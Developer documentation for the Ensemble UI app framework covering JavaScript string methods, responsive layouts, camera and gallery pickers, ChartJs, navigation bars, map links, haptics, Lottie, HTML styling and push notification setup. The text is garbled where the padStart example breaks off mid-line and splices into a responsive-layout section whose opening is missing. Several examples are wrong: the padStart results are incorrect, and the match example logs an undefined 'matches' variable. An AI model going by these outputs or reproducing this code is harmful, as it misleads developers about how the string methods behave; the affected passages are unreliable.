JavaScript String functions available in Ensemble with examples. Each function is briefly explained and followed by an example demonstrating its usage. + +- [Code:String in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/bf9e503e-286b-437a-a692-14d0d5814918) has examples for using the String functions. Copy it into your own app and play around. +- Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of other capabilities +- or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) + +### length + +The `length` property returns the length of the string + +**Example:** + +```javascript +var str = "Hello"; +var len = str.length; +console.log(len); // 5 +``` + +### indexOf + +The `indexOf()` method returns the index of the first occurrence of the specified value in a string. + +**Example:** + +```javascript +var str = "Hello, world!"; +var index = str.indexOf("world"); +console.log(index); // 7 +``` + +### lastIndexOf + +The `lastIndexOf()` method returns the index of the last occurrence of the specified value in a string. + +**Example:** + +```javascript +var str = "Hello, world! world!"; +var index = str.lastIndexOf("world"); +console.log(index); // 14 +``` + +### charAt + +The `charAt()` method returns the character at the specified index in a string. + +**Example:** + +```javascript +var str = "Hello, world!"; +var char = str.charAt(7); +console.log(char); // 'w' +``` + +### endsWith + +The `endsWith()` method determines whether a string ends with the characters of a specified string. + +**Example:** + +```javascript +var str = "Hello, world!"; +var result = str.endsWith("world!"); +console.log(result); // true +``` + +### includes + +The `includes()` method determines whether a string contains the characters of a specified string. + +**Example:** + +```javascript +var str = "Hello, world!"; +var result = str.includes("world"); +console.log(result); // true +``` + +### toLowerCase + +The `toLowerCase()` method returns the calling string value converted to lowercase. + +**Example:** + +```javascript +var str = "Hello, World!"; +var lowerCaseStr = str.toLowerCase(); +console.log(lowerCaseStr); // "hello, world!" +``` + +### toUpperCase + +The `toUpperCase()` method returns the calling string value converted to uppercase. + +**Example:** + +```javascript +var str = "Hello, World!"; +var upperCaseStr = str.toUpperCase(); +console.log(upperCaseStr); // "HELLO, WORLD!" +``` +### trim +The trim() method removes whitespace from both ends of a string. + +```js +var str = " Hello, world! "; +var result = str.trim(); +console.log(result); // "Hello, world!" +``` +### trimStart +The trimStart() method removes whitespace from the beginning of a string. + +```js +var str = " Hello, world!"; +var result = str.trimStart(); +console.log(result); // "Hello, world!" +``` +### trimEnd +The trimEnd() method removes whitespace from the end of a string. + +```js +var str = "Hello, world! "; +var result = str.trimEnd(); +console.log(result); // "Hello, world!" +``` +### repeat +The `repeat()` method constructs and returns a new string which contains the specified number of copies of the string on which it was called, concatenated together. + +```js +var str = "Hello "; +var result = str.repeat(3); +console.log(result); // "Hello Hello Hello " +``` + +### search +The `search()` method executes a search for a match between a regular expression and this String object. + +```js +var str = "Hello, world!"; +var result = str.search(/world/); +console.log(result); // 7 +``` + +### slice +The `slice()` method extracts a section of a string and returns it as a new string, without modifying the original string. + +```js +var str = "Hello, world!"; +var result = str.slice(7, 12); +console.log(result); // "world" +``` + +### substr +The `substr()` method returns a portion of the string, starting at the specified index and extending for a given number of characters afterward. + +```js +var str = "Hello, world!"; +var result = str.substr(7, 5); +console.log(result); // "world" +``` + +### match + +The `match()` method retrieves the result of matching a string against a regular expression and returns null in case there is no match. + +***Note:*** You can specify the regex flags such as i, g, m, s and u. When `g` (global) is specified, the operation will be executed on the whole string. See the following example. + +**Example:** + +```javascript +var str = "Hello, world! world!"; +var regex = /world/; +var result = str.match(regex); +console.log(result); // "world" + +regex = /world/g; //`g` flag has been specified +var result = str.match(regex); //due to the `g` flag, this is the same as String.matchAll +console.log(matches[0]); // "world" +console.log(matches[1]); // "world" +``` + +### matchAll + +The `matchAll()` method returns an array of all the matched strings or an empty array in case there is no match. + +**Example:** + +```javascript +var str = "Hello, world! world!"; +var regex = /world/; +var matches = str.matchAll(regex);//same as specifying the `g` flag in the regex +console.log(matches[0]); // "world" +console.log(matches[1]); // "world" +``` + +### padStart + +The `padStart()` method pads the current string with another string (multiple times, if needed) on the left until the resulting string reaches the given length. + +- If width is already smaller than or equal to `this.length`, no padding is added. A negative `width` is treated as zero. +- The second argument (string to be padded with) is optional. When not specified, space is used for padding +- If padding has length different from 1, the result will not have length width. This may be useful for cases where the padding is a longer string representing a single character, like " " or "\u{10002}". In that case, the user should make sure that this.length is the correct measure of the string's length. + +**Example:** + +```javascript +var str = "world"; +var paddedStr = str.padStart(6, "Hello"); +console.log(paddedStr); // "Helloworld" +paddedStr = str.padStart(10, "Hello"); +console.log(paddedStr); // "HelloHelloHelloHelloHelloworld" +paddedStr = str.padStart(8, "<"); +console.log(paddedStr); // "<< 480 ? 16 : 8 }" +``` + + +## 2. GridView's built-in breakpoints + +[GridView widget](#gridview) includes built-in responsive breakpoints. + +You can pass 1, 3, or 5 values to `horizontalTileCount` property to make the grid responsive based on predefined set of breakpoints. + +| Breakpoint | Width | +| --- | --- | +| xSmall | width <= 480 | +| Small | width > 480 && width <= 800 | +| Medium | width > 800 && width <= 1200 | +| Large | width > 1200 && width <= 1600 | +| XLarge | width > 1600 | + +GridView's horizontalTileCount can be: + +- 1 number - number of tiles for all breakpoints +- 3 numbers + * first number corresponds to xSmall and Small, + * second number corresponds to Medium + * last numner corresponds to xLarge and Large +- 5 numbers, corresponding to each breakpoint + +When not specified, the horizontal tile count is automatic based on resolution. + +--- + +In this example, depending on the available width, there will be 3 to 5 items per row. + +```yaml +GridView: + styles: + horizontalTileCount: 3 4 5 + +# Full example here: +# https://studio.ensembleui.com/app/nWsD5baeykm3W772kkSw/screen/WS6fad3K96prUBXM4Hde +``` + +![Flex](public/images/responsive-grid.png) + +## 3. Wrap content with Flow widget + +[Flow widget](#flow) displays its children horizontally and wraps the children when it runs out of horizontal space. + +```yaml +Flow: + styles: + gap: 16 + lineGap: 16 + children: + - MyItem + +# Full example here: +# https://studio.ensembleui.com/app/nWsD5baeykm3W772kkSw/screen/YbsqXNaXL5kpxKavlGKQ +``` + +![Flow](public/images/responsive-flow.png) + +## 4. Toggle between horizontal and vertical layouts with Flex widget + +[Flex widget](#flex) dynamically switches between a Row or a Column based on the `direction` property. + +```yaml +Flex: + styles: + direction: '${device.width > 500 ? "horizontal" : "vertical"}' + +# Full example here: +# https://studio.ensembleui.com/app/nWsD5baeykm3W772kkSw/screen/jLdWFkmrfgkhuaON568d + +``` + +![Flex](public/images/responsive-flex.png) + +--- + +# Use device's camera for updating profile picture + +This guide shows the typical interaction for updating a user's profile picture in a native app, where user can take a photo or pick an existing image from device's gallery. To see the full example in Ensemble Studio, [click here](https://studio.ensembleui.com/app/nWsD5baeykm3W772kkSw/screen/P2v4AOS8w3DXfUauqi0Q). + +Here's the experience we'll work toward: + +
+ +## 1. Display user image with an icon + +First, call the API that return's user image and pass the value to the Avatar widget. Using styles properties, we can display the avatar as a circle with a border. + +```yaml +View: + onLoad: + invokeAPI: + name: getUser + + body: + Column: + styles: + mainAxis: center + children: + - Avatar: + source: ${getUser.body.results[0].picture.large} + styles: + height: 100 + width: 100 + borderRadius: 100 + borderColor: blue + borderWidth: 2 + margin: 2 + +API: + getUser: + uri: https://randomuser.me/api/?nat=us&randomapi + method: GET +``` + + +To display an icon on top of the avatar, we use a the Stack widget and pass these children, in this order: + +1. Avatar +2. Icon + +The Stack widget renders each child on top of the previous one. By setting `styles.alignChildren` to `bottomRight`, we can achive the following: + + + + +```yaml + - Stack: + styles: + alignChildren: bottomRight + children: + - Avatar: + source: ${getUser.body.results[0].picture.large} + styles: + height: 100 + width: 100 + borderRadius: 100 + borderColor: blue + borderWidth: 2 + margin: 2 + - Icon: + name: camera_line + library: remix + styles: + size: 20 + backgroundColor: white + color: blue + padding: 4 + borderColor: blue + borderRadius: 200 + borderWidth: 2 +``` + + +## 2. onTap, display a bottom sheet + +When user taps the profile image, we want to display a bottom sheet with two buttons: + +
+ +To achieve the above, first wrap the Stack widget inside a Column widget so we can add an onTop to the Column. onTap, we use `showBottomModal` action to open a bottom sheet: + +```yaml +View: + onLoad: + invokeAPI: + name: getUser + body: + Column: + styles: + mainAxis: center + crossAxis: stretch + children: + - Column: + styles: + crossAxis: center + onTap: + showBottomModal: + widget: ProfilePhotoOptions + options: + enableDrag: false + children: + - Stack: + # ... +``` + +Note that we're passing a widget named `ProfilePhotoOptions` to be rendered inside the bottom sheet. + +## 3. Add buttons to the bottom sheet + +Let's define the ProfilePhotoOptions widget, which includes two buttons: + +```yaml +ProfilePhotoOptions: + body: + Column: + styles: + crossAxis: stretch + mainAxisSize: min + gap: 24 + padding: 24 24 ${device.safeAreaBottom} 24 + children: + - Button: + label: Take photo + - Button: + label: Pick from gallery + +``` + +Note a few styling configurations: + +1. Buttons are placed inside a Column with `crossAxis: stretch`. This ensures the buttons width will stretch across the screen. +2. This Column also includes `mainAxisSize: min` to ensure the column just takes the space required by the children. +3. For padding, we use 24 on top, right, and left. For bottom padding, we use `${device.safeAreaBottom}` so that depending on the device, enough space is added to the bottom of the column. + + +## 4. Add action to Take Photo buttom + +Here, we use the `openCamera` action with following configurations: + +```yaml + - Button: + label: Take photo + onTap: + openCamera: + id: profilePhoto + options: + default: true + allowGalleryPicker: true + allowCameraRotate: true + allowFlashControl: true + enableMicrophone: false + preview: false + maxCount: 1 + mode: photo + onComplete: + # Either upload the photo, or navigate to a screen where user can crop the photo + # for both options, use the id of the action to access the file: ${profilePhoto.files[0].path} + # navigateScreen: + # name: ProfileImageCropper + # inputs: + # newProfileImage: ${profilePhoto.files[0].path} +``` + +This configuration uses the device's native camera functionality, and limits it to one image. + + +## 5. Add action to Pick from Gallery buttom + +Here, we use the `pickFiles` action with following configurations: + +```yaml + - Button: + label: Pick from gallery + styles: + height: 50 + onTap: + pickFiles: + source: gallery + id: filepicker + allowMultiple: false + allowedExtensions: + - png + - jpeg + - jpg + onComplete: + # TODO - you can either use the selected photo, or navigate to a screen where user can crop the photo + # navigateScreen: + # name: ProfileImageCropper + # inputs: + # newProfileImage: ${filepicker.files[0].path} + +``` + +This configuration uses the device's native gallery, and limits it to one image. + +---- + + +To see the full example in Ensemble Studio, [click here](https://studio.ensembleui.com/app/nWsD5baeykm3W772kkSw/screen/P2v4AOS8w3DXfUauqi0Q). + +--- + +# Inputs to ChartJs + +The ChartJs widget in ensemble may sometime not accept variables in plain ChartJS widget so a better way to go about this is to use Code section in ensemble to define configuration for the ChartJs and there we can easily use the variables ( inputs ). In our example we will look how we use labels passed as inputs to the ChartJs custom widget and use them according to our need. + + +#### Custom Widget + + + +```yaml +Widget: + inputs: + - spending + - categories + + onLoad: | + + //@code + chart.config = { + type: 'doughnut', + data: { + labels: categories, + datasets: [{ + data: [608, 590, 200, 79, 163,231,637,63], + backgroundColor: ['#FCA06B','#C66CFC','#8145FF', '#29CB90', '#4DA9CC','#FCA034',"#8145FA","#814500"], + hoverOffset: 2, + borderWidth: 0 + }] + }, + options: { + aspectRatio: 1, + cutout: 80 , + plugins: { + legend: { + display: false + }, + tooltip: { + enabled: true, + position: "nearest" + } + }, + layout: { + padding: 0 + } + } + }; + + body: + Column: + styles: + gap: 12 + children: + - Row: + styles: { crossAxis: center, mainAxis: center, padding: 20 0 } + children: + - Stack: + styles: { alignChildren: center } + children: + - ChartJs: + id: chart + styles: { width: 200, height: 200 } + + - Column: + styles: { crossAxis: center, gap: 0, mainAxis: center } + children: + - Text: + text: Last 30 days + styles: + textStyle: + color: 0xFF667483 + fontSize: 10 + - Text: + text: "$${spending}" + styles: + textStyle: + color: 0xFF063940 + fontSize: 28 + textAlign: end +``` + +#### Screen Code + + +```yaml +Spendings: + inputs: + spending: ${ensemble.storage.spendingLastDays.toFixed(2)} + categories: ${ensemble.storage.categories} +``` + + +**Output** + +![Alt text](public/images/tips/image-8.png) + + +#### Explanation + +The _categories_ and _spending_ are our inputs passed to this Custom Widget from one of our screens. Categories is an array consisting of string values. This input array is used as a value for **labels** property in the CharJs configuration if you paid close attention to the code for [Custom Widget](#custom-widget). This is how we can pass inputs to ChartJs and make it dynamic. + +--- + +# How to modify the BottomNavBar with custom styling and widgets + +#### Steps + +1. Make a custom widget one for selected state and one for inactive state ( Not selected ). + + + +```yaml +Widget: + inputs: + - name + - icon + - color + - library + body: + Column: + styles: + mainAxis: spaceBetween + crossAxis: center + height: 50 + children: + - Icon: + icon: ${icon} + library: ${library} + styles: + color: ${color} + - Text: + text: ${name} + styles: + fontSize: 12 + color: ${color} +``` + + + +2. similarly for active navigation item . Use these widgets under widget for each item of the BottomNavBar as given. + + + +```yaml +menu: + BottomNavBar: + styles: + backgroundColor: white + items: + - page: Grocery + customItem: + widget: + CustomNavbarItem: + inputs: + name: Home + icon: home + color: 0xFF999999 + library: fontAwesome + selectedWidget: + CustomActiveNavbarItem: + inputs: + name: Home + icon: home + color: 0xFF4CA771 + library: fontAwesome + - page: Grocery + customItem: + widget: + CustomNavbarItem: + inputs: + name: Order + icon: shoppingBag + color: 0xFF999999 + library: fontAwesome + selectedWidget: + CustomActiveNavbarItem: + inputs: + name: Order + icon: shoppingBag + color: 0xFF4CA771 + library: fontAwesome + - page: Grocery + customItem: + widget: + CustomNavbarItem: + inputs: + name: Favourite + icon: heart + color: 0xFF999999 + library: fontAwesome + selectedWidget: + CustomActiveNavbarItem: + inputs: + name: Favourite + icon: solidHeart + color: 0xFF4CA771 + library: fontAwesome + selected: true + - page: Grocery + customItem: + widget: + CustomNavbarItem: + inputs: + name: Cart + icon: shoppingCart + color: 0xFF999999 + library: fontAwesome + selectedWidget: + CustomActiveNavbarItem: + inputs: + name: Cart + icon: shoppingCart + color: 0xFF4CA771 + library: fontAwesome +``` + + +--- + +# Open Maps with Coordinates on Android and iOS + +This guide explains how to open map applications with specific coordinates on Android and iOS devices. The examples demonstrate how to launch Google Maps or Apple Maps, depending on the platform, and also include the ability to use dynamic coordinates input. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/wCU2q0PQnNxmXqN4WyCV) + +## Implementation Overview + +The feature allows users to open their default map application (Google Maps or Apple Maps) with specific coordinates by clicking an icon. Depending on the user's device (Android, iOS, or Web), the appropriate map service will be launched. Additionally, users can enter dynamic coordinates to open any location. + +### Examples + +### Example 1: Open Google Maps with Static Coordinates + +This example demonstrates how to open a specific location in Google Maps using a simple icon click. + +**Sample Coordinates:** +- Latitude: `38.7946` +- Longitude: `106.5348` + +#### UI Layout: + +```yaml +View: + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: Click on the icon to open location on Google Maps + - Row: + styles: + gap: 8 + crossAxis: center + children: + - Text: + text: "Sample Location: 38.7946,106.5348" + styles: + textStyle: + fontSize: 14 + - Icon: + name: locationArrow + library: fontAwesome + color: blue + size: 18 + onTap: + openUrl: + url: https://www.google.com/maps/?q=38.7946,106.5348(Ensemble+Technologies) +``` + +#### Action Output Screenshot: + +
+Output Screenshot +

Clicking the icon will open Google Maps with the provided coordinates and label.

+
+ + + +### Example 2: Open Apple Maps with Static Coordinates + +This example demonstrates how to open a specific location in Apple Maps. + +#### UI Layout: + +```yaml +View: + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: Click on the icon to open location on Apple Maps + - Row: + styles: + gap: 8 + crossAxis: center + children: + - Text: + text: "Sample Location: 38.7946,106.5348" + styles: + textStyle: + fontSize: 14 + fontWeight: w300 + - Icon: + name: locationArrow + library: fontAwesome + color: blue + size: 18 + onTap: + openUrl: + url: https://maps.apple.com/?ll=38.7946,106.5348&q=Ensemble+Technologies +``` +#### Action Output Screenshot: + +
+ Output Screenshot +

Clicking the icon will open Apple Maps with the provided coordinates and label.

+
+ + +### Example 3: Open Map Application Based on Device + +This example shows how to conditionally open the map application based on the user's device (Android, iOS, or Web). + +#### UI Layout: + +```yaml +View: + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: Click on the icon to open location based on device. (Apple Maps on iPhone, Google Maps on Android) + - Row: + styles: + gap: 8 + crossAxis: center + children: + - Text: + text: "Sample Location: 38.7946,106.5348" + styles: + textStyle: + fontSize: 14 + fontWeight: w300 + - Icon: + name: locationArrow + library: fontAwesome + color: blue + size: 18 + onTap: + executeConditionalAction: + conditions: + - if: ${device.platform == "ios"} + action: + openUrl: + url: https://maps.apple.com/?ll=38.7946,106.5348&q=Ensemble+Technologies + - elseif: ${device.platform == 'android'} + action: + openUrl: + url: https://www.google.com/maps/?q=38.7946,106.5348(Ensemble+Technologies) + - elseif: ${device.platform == 'web'} + action: + openUrl: + url: https://www.google.com/maps/?q=38.7946,106.5348(Ensemble+Technologies) +``` +#### Action Output Screenshot: +
+
+ Output Screenshot +

Output on Android

+
+
+ Output Screenshot +

Output on Iphone

+
+
+ +### Example 4: Dynamic Coordinates Input + +In this example, users can input their own coordinates and label, which will dynamically open the respective map application based on the user's device. + +#### UI Layout: + +```yaml +View: + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - TextInput: + label: Enter comma-separated Latitude and Longitude + id: mapsCoordinates + - TextInput: + label: Enter Label + id: mapslabel + - Text: Click on the icon to open location based on device. (Apple Maps on iPhone, Google Maps on Android) + - Row: + styles: + gap: 8 + crossAxis: center + children: + - Text: + text: "Sample Location: 38.7946,106.5348" + styles: + textStyle: + fontSize: 14 + fontWeight: w300 + - Icon: + name: locationArrow + library: fontAwesome + color: blue + size: 18 + onTap: + executeConditionalAction: + conditions: + - if: ${device.platform == "ios"} + action: + openUrl: + url: https://maps.apple.com/?ll=${mapsCoordinates.value}&q=${mapslabel.value} + - elseif: ${device.platform == 'android'} + action: + openUrl: + url: https://www.google.com/maps/?q=${mapsCoordinates.value}(${mapslabel.value}) + - elseif: ${device.platform == 'web'} + action: + openUrl: + url: https://www.google.com/maps/?q=${mapsCoordinates.value}(${mapslabel.value}) +``` + +--- + +# Using navigate Screen with BottomNavBar + +We can use [navigateScreen](#navigatescreen) for combining functionality of [BottomNavBar](#bottomnavbar) together with it for daily tasks like beside using BottomNavBar items to navigate across different screens, we can also make use of [navigateScreen](#navigatescreen) here to navigate across screen keeping the bottomNavBAr in place as well. Let us look at an example to make better sense of it. + +**Example** + +In this scenario we want to navigate to Profile screen using `Account` item in the bottomNavBar menu and also an icon in our `dashboard` screen. Given is code for different screen widgets `CustomHeader` for our screen header with an Profile Picture and [ViewGroup](#view-group) with bottomNavBar. + +**Explanation** + +- For each item in the menu we have used an expression which evaluates `selectedIndex` every time our screen re-renders ( it renders whenever user navigates from one screen to other screen using menu items ). +- Account item have `selectedIndex` of 4 as we are sending it as input from `navigateScreen` action in the `dashboard` screen's `CustomHeader` widget. +- So when we click on Profile Picture in the header for dashboard screen the bottomNavbar re-renders updating selectedIndex value which evaluates true for only `Account` item and thus we move to profile screen using both `Account` Item and the `Profile Picture` + +**Code** + +```yaml +CustomHeader: + body: + Row: + styles: + mainAxis: spaceBetween + crossAxis: center + backgroundColor: 0xff04010d + children: + - Markdown: + styles: + textStyle: + fontSize: 16 + color: white + text: Your Goals + - Image: + styles: + width: 40 + height: 40 + borderRadius: 40 + placeholderColor: transparent + source: ${auth.user.photo} + onTap: + navigateScreen: + name: App + inputs: + selectedIndex: 4 +``` + +ViewGroup with BottomNavBar + +```yaml +ViewGroup: + BottomNavBar: + styles: + backgroundColor: 0xEE000000 + floatingBackgroundColor: black + floatingIconColor: yellow + notchColor: black + selectedColor: 0xFF34CAF7 + color: 0xFF999999 + + items: + - label: Home + icon: + name: bar_chart_2_line + library: remix + page: Home + + - label: Learn + icon: + name: movie_line + library: remix + page: Insights + + - label: Advisors + icon: + name: customer_service_2_line + library: remix + page: Advisors + + - label: Account + icon: + name: account_circle_line + library: remix + page: Account + selected: "${selectedIndex == 4 ? true : false}" + + - icon: + name: flashlight_fill + library: remix + floating: true + floatingAlignment: center + floatingMargin: 0 + onTap: + navigateScreen: + name: ChatPage + inputs: + threadId: 0 + userId: "${ensemble.storage.userAccount != null ? ensemble.storage.userAccount.id : ''}" +``` + +![Alt text](public/images/tips/image-9.png) + +![Alt text](public/images/tips/image-10.png) + +--- + +# Dynamic Color Modification in JavaScript + +**Objective** + +To dynamically change the color of a Text widget based on a JavaScript variable. The goal is to customize the color property of the Text widget's style. + +To achieve this, consider the following steps: + +1. Access Text Widget: + Obtain a reference to the Text widget that you want to modify. In the provided example, it can be accessed using the identifier (id). + ```yaml + - Text: + text: Hi there! + styles: + textStyle: + fontSize: 24 + color: blue + id: helloUser + ``` + +2. Modify Color Property: + Directly modify the color property of the Text widget's style using the assigned identifier. + ```javascript + helloUser.color = 'red'; + ``` + +--- + +# Configuring BottomNavBar Icons + +**Objective** +To add a heart icon to a BottomNavBar item, ensuring correct rendering. If using a default icon, no additional library specification is needed; however, for non-default icons like Font Awesome, it's crucial to specify the library. + +To achieve this, consider the following steps: + +1. Default Icons: + If using default icons (e.g., "home," "search," "shopping_cart"), no library specification is required. Simply provide the icon name. + ```yaml + BottomNavBar: + styles: + backgroundColor: 0xFF1F2128 + items: + - label: Home + icon: search + screen: Home + ``` + +2. fontAwesome Icons: + For non-default icons, particularly those from Font Awesome, ensure to specify the library using the iconLibrary attribute. + ```yaml + BottomNavBar: + styles: + backgroundColor: 0xFF1F2128 + items: + - label: Favourite + icon: heart + screen: Home + iconLibrary: fontAwesome + ``` + +3. Active Icons: + If an active state icon is needed (e.g., a different icon when the item is selected), use the activeIcon attribute. + +--- + +# Invoke Haptics + +We can use the invokeHaptic action to provide haptic feedback in your app. This feature enhances the user experience by providing tactile responses for different interactions. + +The invokeHaptic action is utilized to trigger haptic feedback, and it supports various types such as heavyImpact, mediumImpact, lightImpact, and vibrate. +Buttons are used to demonstrate different haptic types, and the last button showcases using JavaScript code to invoke the lightImpact haptic. + +Please note that haptics will only work on native apps. + +invokeHaptic action is utilized to trigger haptic feedback, and it supports various types. +- Button: + label: Heavy Impact + onTap: + invokeHaptic: + type: heavyImpact + +Additionally "Vibrate" button demonstrates chaining actions by using the onComplete property to execute additional JavaScript code after the haptic feedback is played. +- Button: + label: Vibrate (Using onComplete action to chain) + onTap: + invokeHaptic: + type: vibrate + onComplete: + executeCode: + body: | + //@code + console.log("Vibrate Haptic played") + +Furthermore, the onTapHaptic property is used for the "Selection Click" button, demonstrating an alternative way to trigger haptic feedback. +- Button: + label: Selection Click (Using onTapHaptic property) + onTapHaptic: selectionClick + onTap: + executeCode: + body: | + //@code + console.log("Button Pressed") + +--- + +# Custom Lottie Animations with Events and Controls + +With features like onStart, onPause, onComplete, and control buttons, you can create interactive animations tailored to your application. + +The Lottie animations have events such as onForward, onReverse, onPause, and onComplete. Control buttons are provided to trigger these events dynamically. +- Lottie: + id: MyLottie + autoPlay: false + repeat: false + onForward: | + //@code + console.log("Forward"); + onReverse: | + //@code + console.log("Reverse"); + onPause: | + //@code + console.log("Pause"); + onComplete: | + //@code + console.log("Completed"); + source: https://assets6.lottiefiles.com/private_files/lf30_rnpgzd17.json + styles: + width: 400 + height: 200 + +- Button: + styles: + outline: true + borderColor: 0xffed5742 + borderRadius: 20 + backgroundColor: 0xffaad6de + labelStyle: + color: 0xffed5742 + label: Forward + onTap: | + //@code + console.log("Forward"); + MyLottie.forward(); + +--- + +# HTML Widget with maxLines Support and Enhanced Styling + +The HTML widget allows you to apply CSS-like styles to specific elements within the HTML content. Customize text color, font size, and font weight effortlessly using both CSS tags and the box wrapper, providing increased styling flexibility. + +The
with an id of "hello" and the

with an id of "tag2" are styled with various properties such as border, borderRadius, padding, color, fontWeight, backgroundColor, maxLines, and textOverflow. + +- Html: + id: myHtml + cssStyles: + - selector: "#hello" + properties: + border: 10px solid red + borderRadius: 10px + padding: 20px + - selector: "#tag2" + properties: + color: white + fontWeight: "900" + backgroundColor: red + maxLines: 2 + textOverflow: ellipsis + text: | +

+

Until recently, the prevailing view assumed lorem ipsum was born as a nonsense text. “It's not Latin, though it looks like it, and it actually says nothing,” Before & After magazine answered a curious reader, “Its ‘words’ loosely approximate the frequency with which letters occur in English, which is why at a glance it looks pretty real.”

+ + As Cicero would put it, “Um, not so fast.” + + The placeholder text, beginning with the line “Lorem ipsum dolor sit amet, consectetur adipiscing elit”, looks like Latin because in its youth, centuries ago, it was Latin. + + Richard McClintock, a Latin scholar from Hampden-Sydney College, is credited with discovering the source behind the ubiquitous filler text. In seeing a sample of lorem ipsum, his interest was piqued by consectetur—a genuine, albeit rare, Latin word. Consulting a Latin dictionary led McClintock to a passage from De Finibus Bonorum et Malorum (“On the Extremes of Good and Evil”), a first-century B.C. text from the Roman philosopher Cicero. + + +--- + +# Push Notification + +## Setup +This guide will walk you through setting up iOS/Android push notifications for your Ensemble app. Before you begin, ensure your bundle ID is correct. Also ensure the `appId` under `ensemble.properties` has the same bundle ID. + +#### iOS Setup +An Apple developer account is required to setup push notification and deploy the app. Each account requires a single APNs certificate for push notifications that work across all your Apps. If you don't already have one, go to https://developer.apple.com/account/resources/authkeys/list. +- Create a new Key and select "Apple Push Notification service (APNs)". +- Download the key and save it in a secure location (you can only download it once). You will need this key to upload to Firebase. + +#### Setup Firebase +- Create a new Firebase project if not already created. Go to Project Settings. + - Under "General" tab, add an iOS or Android app, then download the `GoogleService-Info.plist` or `google-services.json` respectively. + - Under "Cloud Messaging" tab and inside "Apple app configuration", upload the APNs Authentication Key you created / downloaded earlier in your Apple developer account. + - Use the Key ID under the APNs key you created earlier. + - Use the Team ID from your Apple Developer account. + +### Setup Ensemble +- Open `/starter/lib/generated/ensemble_modules.dart` with an Editor and change `useNotifications` to true. +- open Xcode under `/starter/ios`. + - Under Signing & Capabilities, click on `+ Capability` button. + - Add `Push Notifications`. + - Add `Background Modes` and check `Remote notifications`, `Background fetch` and `Background processing`. + - drop "GoogleService-Info.plist" in ios/Runner +- Drop the `google-services.json` in `android/app` folder. + +### Testing notifications +- Firebase requires a device token to send notification to. For testing purpose you can retrieve the device token by using the following app definition. Upon running this screen, it will ask the user to authorize Notifications. Once authorized, the device token will be displayed. +```yaml +View: + onLoad: + requestNotificationAccess: + onAuthorized: |- + status.value = event.data.deviceToken; + + # if denied, you may want to take the user to another screen, + # explaining why notifications are needed with an option to + # take the user to Settings' Notification page. + onDenied: + navigateScreen: + name: Enable Notifications + + # Optional - set the header for the screen + header: + title: What's my device token + + # Specify the body of the screen + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - TextInput: + id: status +``` +- To send a test notification from Firebase, Go to "Messaging" and create your first campaign. + - Select `Firebase Notification messages`. + - Enter a notification text and click "Send test message". + - Enter the device token above and click "Test". + - You should be receiving a push notification + +### Update when token changes +- Firebase can occasionally assign a new device token. When that happens, Ensemble automatically save a copy of the latest token, accessible via `ensemble.device.deviceToken`. + +- To update your server with the latest token, you can usually add the logic inside your home screen (where the user has been authenticated). Below is a example: +```yaml +## Home screen: +View: + onLoad: + invokeAPI: + name: updateDeviceToken + +API: + updateDeviceToken: + url: + headers: + Authorization: Bearer + body: + newToken: ${ensemble.device.deviceToken} + + +``` + +## Handling Notifications +Ensemble provides multiple ways to handle notifications to suit your use cases. +1. **[Notification Handler](#creating-a-script-and-handler-function)**: Define a notification handler (see below) in JavaScript to be executed on every notification received. You can run logic then return a payload to navigate to a screen. +2. **[Navigating to a Screen](#navigating-to-a-screen)**: If a handler is not specified but you want to navigate to a screen upon the user tapping on the notification, simply provide either the screenId or screenName in the notification payload. +3. If neither of the above is specified, the app will simply open up the app (if it is currently not on the foreground). + +#### Creating a Script and Handler Function +Navigate to or create a script in the Scripts section. For example, you might have a script called Common. +In the script, create a function that will be called whenever a notification is received. For example: +```js +function handle_notification(notification) { + // Your notification handling logic here +} +``` +The notification parameter contains the message data in JSON format. + +Inside this function, you can: + +- Write your routing logic +- Access ensemble.storage +- Perform one action: navigation +To navigate, simply return the payload of a navigationScreen action. The framework will handle the navigation. + +Example: + +```js +function handle_notification(notification) { + console.log(notification); + + // Assuming the screen name is in the FCM data section + var payload = { + "name": notification['data']['screen'], + // You can also pass inputs that will be accessible on the destination screen + }; + + return payload; +} +``` +If you don't want to navigate, simply don't return anything. + +Marking the Function as a Notification Handler +To designate your function as the notification handler: + +- Go to `Settings` -> `Environment Variables` +- Add a new variable called `ensemble_notification_handler` +- Set its value to `scriptName.handlerName` +For our example, it would be `Common.handle_notification`. + +Once set, `Common.handle_notification` will be called every time a notification is received. + +#### Navigating to a Screen +Instead of creating a handler function in Javascript, you can specify the screenId or screenName in the notification payload. This will navigate to the specified screen when the user taps on the notification. + +Here is an example notification payload sent from the server. Note the screenId / screenName (you should specify one or the other, but not both) in the data section. +```yaml +{ + "token": "", + "notification": { + "title": "Hi from Ensemble", + "body": "Hello this is a sample notification" + }, + "apns": { + "payload": { + "aps": { + # update the badge count on iOS + "badge": 5 + } + } + }, + # custom data sent to Ensemble + "data": { + "screenId": "", + "screenName": "", + "hello": "world" + } +} +``` + +Upon receiving this notification, Ensemble will navigate to the screen specified, and pass along the notification title/body, along with the data payload to the screen. You can access this data in the screen using `notificationPayload.*`. Here is an example of the screen the notification will redirect to: +```yaml +View: + body: + Text: + text: |- + Notification redirected me here: + Notification title: ${notificationPayload.title} + Notification body: ${notificationPayload.body} + Notification payload: ${notificationPayload.data.hello} +``` + +--- + +# Using device width and height + +You have access to device width and height through: + +``` +device.width +device.height +``` + +You can use them to set width and height of a widget. Note that when doing calculations that might result in doubles, you must round the number. E.g. if you divide the width by two, on some devices, the result might be a double such as `190.5`. Use `Math.floor` to round it down to `190`. + + +```yaml +View: + body: + Column: + children: + - Shape: + type: rectangle + styles: + width: ${Math.floor(device.width / 2)} + height: ${Math.floor(device.height / 2)} + backgroundColor: yellow +``` + +--- + +### Using BottomSafeArea for Responsive Layouts + +In mobile devices, especially those with a 3-button navigation bar (as seen on some Android devices), extra space at the bottom can affect the layout of your UI elements. To ensure that your content doesn't get overlapped by the navigation bar, it’s important to adjust the height of your widgets to exclude the space taken by the navigation bar, known as the "Safe Area." + +EnsembleUI provides access to the device’s dimensions, including the height and the bottom safe area, allowing you to 